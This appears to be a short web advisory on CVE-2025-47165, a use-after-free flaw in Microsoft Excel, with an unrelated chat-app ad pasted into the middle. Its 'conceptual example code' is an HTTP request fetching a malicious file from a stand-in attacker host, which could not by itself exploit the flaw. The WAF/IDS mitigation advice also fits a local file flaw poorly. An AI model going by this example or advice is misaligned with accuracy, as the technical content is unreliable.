Overview
The Common Vulnerabilities and Exposures (CVE) system has recently identified a new vulnerability, designated as CVE-2025-47165, which poses a significant risk to users of Microsoft Office Excel. This vulnerability stems from a use-after-free flaw that, if successfully exploited, allows an unauthorized attacker to execute code locally. This represents a serious threat to individual users and businesses alike, as unauthorized code execution can lead to potential system compromise or data leakage. Given the widespread use of Microsoft Office Excel in businesses, institutions, and personal computing around the globe, understanding and mitigating this vulnerability is of paramount importance.
Vulnerability Summary
CVE ID: CVE-2025-47165
Severity: High (CVSS 7.8)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Microsoft Office Excel | All versions prior to the latest patch
How the Exploit Works
The vulnerability stems from a use-after-free flaw in Microsoft Office Excel. A use-after-free flaw occurs when a program continues to use a pointer after it has been freed. In this instance, an attacker can exploit this flaw by crafting a malicious Excel file that, when opened, triggers the use-after-free condition and allows the attacker to execute arbitrary code locally. This could potentially compromise the system or lead to data leakage.
Conceptual Example Code
Here is a
conceptual
example of how the vulnerability might be exploited. In this case, the attacker would craft a malicious Excel file with embedded code:
GET /malicious_file.xls HTTP/1.1
Host: attacker.example.comWhen the victim opens this Excel file, the embedded code is executed, exploiting the use-after-free vulnerability and compromising the system.
Mitigation and Remediation
To mitigate this vulnerability, Microsoft has released a patch which should be applied immediately. Users should ensure they keep their software updated to the latest version to prevent exploitation of this vulnerability. As a temporary mitigation, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to identify and block attempts to exploit this vulnerability. However, these measures should be considered temporary, and applying the vendor patch should be the priority.